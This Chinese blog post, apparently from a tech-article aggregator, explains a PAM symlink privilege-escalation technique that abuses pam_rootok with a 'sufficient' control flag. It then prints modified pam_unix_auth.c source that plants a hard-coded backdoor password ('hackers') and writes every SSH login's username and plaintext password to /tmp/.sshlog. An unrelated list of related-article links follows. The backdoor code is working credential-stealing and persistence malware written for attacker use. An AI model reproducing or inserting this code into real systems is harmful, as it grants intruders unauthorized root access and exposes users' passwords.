当前位置: 首页 > news >正文

PAM软连接提权

文章目录

    • 概要
    • PAM软连接

概要

PAM软链接提权利用的原理主要依赖于PAM(可插拔认证模块)配置文件的特性。具体来说,它利用了以下几个关键点:

PAM认证机制:PAM允许系统管理员通过配置文件灵活地管理用户认证过程。在SSH服务中,如果启用了PAM认证,系统会在用户登录时调用PAM模块进行身份验证。
软链接的使用:攻击者可以创建一个指向sshd文件的软链接,并将其命名为su(或其他名称)。当SSH服务启动时,它会根据PAM配置文件查找对应的模块。
pam_rootok.so模块:pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。
PAM配置文件的控制:在PAM配置文件中,如果控制标志设置为sufficient,那么只要pam_rootok模块检测到用户的UID为0(即root用户),就会允许认证成功。这意味着即使输入了错误的密码,只要满足UID为0的条件,用户就可以获得root权限。
绕过正常验证:通过这种方式,攻击者可以绕过正常的密码验证,利用软链接实现提权,从而获得对系统的控制。

PAM软连接

1.可以查看 /etc/ssh/sshd_config 文件的UsePAM设置。来确认是否开启PAM认证。
2.修改PAM配置文件
auth required pam_securetty.so//要求在安全终端上进行身份验证。
auth required pam_unix.so shadow nullok//使用Unix认证,允许空密码(但并不推荐)。
auth required pam_nologin.so//检查是否存在nologin文件,防止不允许的用户登录。
account required pam_unix.so//用于账户管理的Unix认证。
password required pam_cracklib.so retry=3//使用密码复杂性检查,允许用户最多重试3次。
password required pam_unix.so shadow nullok use_authtok//用于更新密码的Unix认证,允许空密码,使用先前的身份验证令牌。
session required pam_unix.so//处理用户会话的相关操作。
3.将PAM配置文件中控制标志为sufficient,更改pam_rootok模块检测uid为0(root)

也可以修改配置,创建后门
修改配置:Linux-PAM/modules/pam_unix/pam_unix_auth.c配置后门

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;}    //后门密码if(retval == PAM_SUCCESS){    FILE * fp;    fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置fprintf(fp, "%s : %s\n", name, p);    fclose(fp);} 
name = p = NULL;

相关文章:

  • 从菜鸟到高手:掌握Python推导式,让代码飞起来,列表、集合、字典,一网打尽,用Python推导式优雅地重构你的数据操作
  • STM32之继电器与震动传感器的使用,实现震动灯
  • Docker的安装与镜像配置
  • Oracle开始严查Java许可!
  • flink+flinkcdc+同步(MYSQL到MYSQL)实践
  • git restore对工作区及暂存区文件的影响
  • 自养号测评技术:如何挑选适合的IP环境方案
  • 引发C++程序内存泄漏的常见原因分析与排查方法总结
  • openlayers+vite+vue3加载离线地图并实现初始化(一)
  • 高性能 Web 服务器:让网页瞬间绽放的魔法引擎(上)
  • [uniapp/wx小程序] 给自定义组件或ui组件加样式在wx小程序不生效
  • 搭建智能客服机器人:langgraph实现用户订单管理
  • 尝试给OpenHarmony4.0增加可以在动态库中使用的日志模块
  • 图像处理 -- ISP 之 tone mapping功能的实现原理
  • systemback制作Ubuntu自己的系统镜像
  • 《用数据讲故事》作者Cole N. Knaflic:消除一切无效的图表
  • Java 内存分配及垃圾回收机制初探
  • Java 最常见的 200+ 面试题:面试必备
  • Mysql数据库的条件查询语句
  • python_bomb----数据类型总结
  • Python进阶细节
  • React+TypeScript入门
  • Redash本地开发环境搭建
  • SAP云平台运行环境Cloud Foundry和Neo的区别
  • Vue小说阅读器(仿追书神器)
  • 山寨一个 Promise
  • 优秀架构师必须掌握的架构思维
  • postgresql行列转换函数
  • Salesforce和SAP Netweaver里数据库表的元数据设计
  • 第二十章:异步和文件I/O.(二十三)
  • ​ubuntu下安装kvm虚拟机
  • ​如何使用ArcGIS Pro制作渐变河流效果
  • # 学号 2017-2018-20172309 《程序设计与数据结构》实验三报告
  • (4)Elastix图像配准:3D图像
  • (7)svelte 教程: Props(属性)
  • (CVPRW,2024)可学习的提示:遥感领域小样本语义分割
  • (Mac上)使用Python进行matplotlib 画图时,中文显示不出来
  • (pojstep1.1.2)2654(直叙式模拟)
  • (带教程)商业版SEO关键词按天计费系统:关键词排名优化、代理服务、手机自适应及搭建教程
  • (第二周)效能测试
  • (二刷)代码随想录第16天|104.二叉树的最大深度 559.n叉树的最大深度● 111.二叉树的最小深度● 222.完全二叉树的节点个数
  • (附程序)AD采集中的10种经典软件滤波程序优缺点分析
  • (附源码)ssm高校志愿者服务系统 毕业设计 011648
  • (附源码)计算机毕业设计SSM疫情社区管理系统
  • (更新)A股上市公司华证ESG评级得分稳健性校验ESG得分年均值中位数(2009-2023年.12)
  • (免费领源码)python#django#mysql公交线路查询系统85021- 计算机毕业设计项目选题推荐
  • (自适应手机端)响应式新闻博客知识类pbootcms网站模板 自媒体运营博客网站源码下载
  • ./include/caffe/util/cudnn.hpp: In function ‘const char* cudnnGetErrorString(cudnnStatus_t)’: ./incl
  • .Net Core缓存组件(MemoryCache)源码解析
  • .NET Framework、.NET Core 、 .NET 5、.NET 6和.NET 7 和.NET8 简介及区别
  • .NET NPOI导出Excel详解
  • .NET 材料检测系统崩溃分析
  • .NET使用存储过程实现对数据库的增删改查
  • .Net中的集合
  • .NET中使用Redis (二)